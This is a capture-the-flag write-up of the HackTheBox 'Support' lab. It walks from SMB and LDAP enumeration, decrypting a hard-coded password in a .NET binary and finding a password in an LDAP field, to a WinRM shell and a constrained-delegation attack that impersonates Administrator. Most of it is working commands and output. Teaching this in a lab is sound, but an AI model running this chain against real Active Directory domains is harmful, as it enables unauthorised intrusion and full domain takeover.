Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
Support is an Easy Windows machine.
Recon
NMAP scan
We start by performing an NMAP
scan of the target to identify open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
└─$ nmap -T4 -A 10.10.11.174 -p- -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-26 21:03 CEST
Nmap scan report for 10.10.11.174
Host is up (0.032s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-26 19:05:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
61047/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
|
We face a Windows machine with several open ports. Ports 389 and 3268 are open, it means that there is a LDAP server that is running on the target.
LDAP recon
Using rpcclient
or enum4linux
we found that we are allowed to connect the ldap using the anonymous
account. But we can’t get any results, we got some access denied :(
1
2
3
4
5
6
|
└─$ rpcclient -U '' -N 10.10.11.174
rpcclient $> lookupnames admin
result was NT_STATUS_ACCESS_DENIED
└─$ enum4linux 10.10.11.174
[...] NT_STATUS_ACCESS_DENIED
|
DNS recon
Using dig
command we found 3 authorities:
- support.htb
- dc.support.htb
- hostmaster.support.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
└─$ dig srv support.htb @10.10.11.174
; <<>> DiG 9.18.6-2-Debian <<>> srv support.htb @10.10.11.174
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3411
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;support.htb. IN SRV
;; AUTHORITY SECTION:
support.htb. 3600 IN SOA dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600
;; Query time: 28 msec
;; SERVER: 10.10.11.174#53(10.10.11.174) (UDP)
|
SMB recon
Using impacket-smbclient
or impacket-psexec
we can enumerate shares.
1
2
3
4
5
6
7
8
9
10
|
└─$ impacket-psexec guest@10.10.11.174
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.11.174.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'support-tools' is not writable.
[-] share 'SYSVOL' is not writable.
|
There is an interesting share named support-tools.
1
2
3
4
5
6
7
8
9
10
11
|
# use support-tools
# ls
drw-rw-rw- 0 Wed Jul 20 19:01:06 2022 .
drw-rw-rw- 0 Sat May 28 13:18:25 2022 ..
-rw-rw-rw- 2880728 Sat May 28 13:19:19 2022 7-ZipPortable_21.07.paf.exe
-rw-rw-rw- 5439245 Sat May 28 13:19:55 2022 npp.8.4.1.portable.x64.zip
-rw-rw-rw- 1273576 Sat May 28 13:20:06 2022 putty.exe
-rw-rw-rw- 48102161 Sat May 28 13:19:31 2022 SysinternalsSuite.zip
-rw-rw-rw- 277499 Wed Jul 20 19:01:07 2022 UserInfo.exe.zip
-rw-rw-rw- 79171 Sat May 28 13:20:17 2022 windirstat1_1_2_setup.exe
-rw-rw-rw- 44398000 Sat May 28 13:19:43 2022 WiresharkPortable64_3.6.5.paf.exe
|
There are a few executables. All of them seem to be common tools except for the UserInfo.exe.zip
archive which contains an executable UserInfo.exe
which is not a common tool.
UserInfo.exe executable
I first unzip the executable and tried to execute it.
1
2
3
4
5
6
7
8
9
10
|
.\UserInfo.exe --help
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a user
|
The executable seems to request a database (probably the ldap). According to the usage, the tool can search for users or get information about it.
I manage to get the code of the executable using DnSpy.
On the code, we find a class LdapQuery()
that is used to request a LDAP server.
1
2
3
4
5
6
|
public LdapQuery()
{
string password = Protected.getPassword();
this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
this.entry.AuthenticationType = AuthenticationTypes.Secure;
this.ds = new DirectorySearcher(this.entry);
|
The second line of code authenticate the user ldap
to the LDAP server support.htb
with a password store in the variable password
.
Variable password
is created by the getPassword()
on the class Protected
. The password is hard-coded and encrypted, let’s try to decrypt it.
Class Protected
with the hard-coded password and the getPassword()
function that is used to decrypt the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
namespace UserInfo.Services
{
// Token: 0x02000006 RID: 6
internal class Protected
{
// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
// Token: 0x04000005 RID: 5
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
// Token: 0x04000006 RID: 6
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}
}
|
I rewrite the code in python to decode the password. The first array corresponds to the result of the Convert.FromBase64String()
method that return an array of 8-bit unsigned integers.
1
2
3
4
5
6
7
8
9
10
11
12
|
p1 = ['\xD0','\xDB','\xF7','\xD8','\xF4','\xF0','\x81','\x88','\xF3','\x83','\xDF','\xFC','\x8F','\x94','\xDB','\x9A','\xF3','\xDD','\xDD','\xEE','\xD6','\x86','\xD5','\x96','\xCA','\xE3','\xEC','\xC8','\xEE','\xFA','\xFD','\x8F','\x94','\xD7','\xDD','\xC4']
p2 = []
key = bytes("armando", 'utf-8')
i = 0
while i < len(p1):
p2.append(ord(p1[i]) ^ key[i % len(key)] ^ 223)
i+=1
print("".join([chr(i) for i in p2]))
# 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
|
As a result, we get the password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
.
We can verify that is the good password by executing the program with a running wireshark capture.
We found the same password on the wireshark capture. Running enum4linux
we find that credentials are valid.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
└─$ enum4linux -a -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
[+] Server 10.10.11.174 allows sessions using username 'ldap', password 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
[+] Attempting to map shares on 10.10.11.174
//10.10.11.174/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.11.174/C$ Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_NO_SUCH_FILE listing \*
//10.10.11.174/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//10.10.11.174/NETLOGON Mapping: OK Listing: OK Writing: N/A
//10.10.11.174/support-tools Mapping: OK Listing: OK Writing: N/A
//10.10.11.174/SYSVOL Mapping: OK Listing: OK Writing: N/A
|
We now have an access to the NETLOGON
& SYSVOL
shares.
We can dump the LDAP server with the ldapdomaindump
tool.
1
|
└─$ ldapdomaindump 10.10.11.174 -u 'SUPPORT\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --no-json --no-grep -o ldap
|
We have an access to some users, groups, policies, computers informations. We find a new user that is a member of Shared Support Accounts
& Remote Management Users
group.
While, searching more information about the user, we found that there is an info key with a weird value on the json result that seems to be a password.
1
2
3
4
5
6
|
"distinguishedName": [
"CN=support,CN=Users,DC=support,DC=htb"
],
"info": [
"Ironside47pleasure40Watchful"
],
|
Checking with enum4linux
if those are valid credentials:
1
2
3
4
|
└─$ enum4linux -u support -p Ironside47pleasure40Watchful 10.10.11.174
===================================( Session Check on 10.10.11.174 )===================================
[+] Server 10.10.11.174 allows sessions using username 'support', password 'Ironside47pleasure40Watchful'
|
It works! Those are valid credentials !
I try to get a shell from evil-winrm tool using our new credentials.
1
2
3
4
5
6
7
|
└─$ evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support
*Evil-WinRM* PS C:\Windows\Temp\test> type C:\Users\support\Desktop\user.txt
***************************9b591
|
We are now connected under the support
user ! We can get the user flag :)
Path to the privesc
Recon
We got an access denied on the systeminfo
command.
1
2
3
|
C:\Windows\Temp\test>systeminfo
systeminfo
Access is denied.
|
Running a WinPEAS scan, we don’t get any interesting informations…
Bloodhound
After some research, I manage to build a Bloodhound session to help me to find the path to the domain admin.
Information gathering using bloodhound-python.
1
2
3
4
5
6
7
|
└─$ bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d SUPPORT.HTB -c ALL -ns 10.10.11.174
# start neo4j server
└─$ neo4j console &
# start bloodhound & import all *.json files to the database
└─$ bloodhound
|
We can also use SharpHound to gather information about the domain.
1
2
3
4
|
# gathering data from DC.SUPPORT.HTB computer w/ Sharphound
*Evil-WinRM* PS C:\Windows\Temp\test> .\SharpHound.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
# Download the generated archive
*Evil-WinRM* PS C:\Windows\Temp\test> download 20221029093031_BloodHound.zip 20221029093031_BloodHound.zip
|
Looking at the Shortest Paths to Unconstrained Delegation Systems
analysis, we found that members of the group SHARED SUPPORT ACCOUNTS
have GenericAll privileges to the computers DC.SUPPORT.HTB
.
Our user support
is a member of that group. So we have the control on a user with the GenericAll permission. It means that we will be able to elevate privilege.
Privilege escalation
Reading the Abuse Info
section, we found that we will need to use Rubeus & Powerwad tools.
First, we will create a fake computer object on the AD, then set the Constrained Delegation privilege to it. This privilege allows a computer to impersonate a user or a computer against a service of a machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# import Powermad
*Evil-WinRM* PS C:\Windows\Temp\test> Import-Module .\Powermad.ps1
# Add a new machine PEZZZ w/ Powermad
*Evil-WinRM* PS C:\Windows\Temp\test> New-MachineAccount -MachineAccount "PEZZZ" -Password
$(ConvertTo-SecureString 'coucou' -AsPlainText -Force) -Verbose
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = PEZZZ$
Verbose: [+] Distinguished Name = CN=PEZZZ,CN=Computers,DC=support,DC=htb
[+] Machine account PEZZZ added
# Add the new PC to the AD with the Constrained Delegation privilege
*Evil-WinRM* PS C:\Windows\Temp\test> Set-ADComputer "DC" -PrincipalsAllowedToDelegateToAccount ("PEZZZ" + '$')
|
We created a fake machine PEZZZ, set the password to coucou. Now that our fake computer object is created, added to the AD and having the Constrained Delegation privilege, we can use it to craft a ticket that will impersonate Administrator user.
We can get our hash with Rubeus. It will be used to craft our ticket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
*Evil-WinRM* PS C:\Windows\Temp\test> .\Rubeus.exe hash /password:coucou /user:PEZZZ$ /domain:support.htb
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Calculate Password Hash(es)
[*] Input password : coucou
[*] Input username : PEZZZ$
[*] Input domain : support.htb
[*] Salt : SUPPORT.HTBhostpezzz.support.htb
[*] rc4_hmac : 51831BDA51454AECB5D924D0DD12DF8F
[*] aes128_cts_hmac_sha1 : 1A6641C38697A329450C26BF8860C801
[*] aes256_cts_hmac_sha1 : CAF0E48693C399ABFFB84DBFA051105D1A6441E6AA4591E52E477042C765698D
[*] des_cbc_md5 : F2DA620B94AD868F
|
Now we create a service ticket using GetST
from the impacket tools. The ticket will impersonate the Administrator user using our fake machine (PEZZZ) and our newly generated AES key.
1
2
3
4
5
6
7
8
9
|
└─$ impacket-getST support.htb/PEZZZ -impersonate Administrator -dc-ip 10.10.11.174 -spn http/dc.support.htb -aesKey CAF0E48693C399ABFFB84DBFA051105D1A6441E6AA4591E52E477042C765698D
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
|
The command will create Administrator.ccache
file. We can store our ticket path on the KRB5CCNAME
environement variable.
1
|
└─$ export KRB5CCNAME=/home/pezzz/HTB/pentest-tools/win-exploits/ldap/Administrator.ccache
|
We can now use our service ticket to connect into the target using the Administrator user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
└─$ impacket-psexec SUPPORT.HTB/Administrator@DC.SUPPORT.HTB -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on DC.SUPPORT.HTB.....
[*] Found writable share ADMIN$
[*] Uploading file wKNBTqtX.exe
[*] Opening SVCManager on DC.SUPPORT.HTB.....
[*] Creating service CETN on DC.SUPPORT.HTB.....
[*] Starting service CETN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
**************************0e14e5
|
It works ! We can get the root flag :)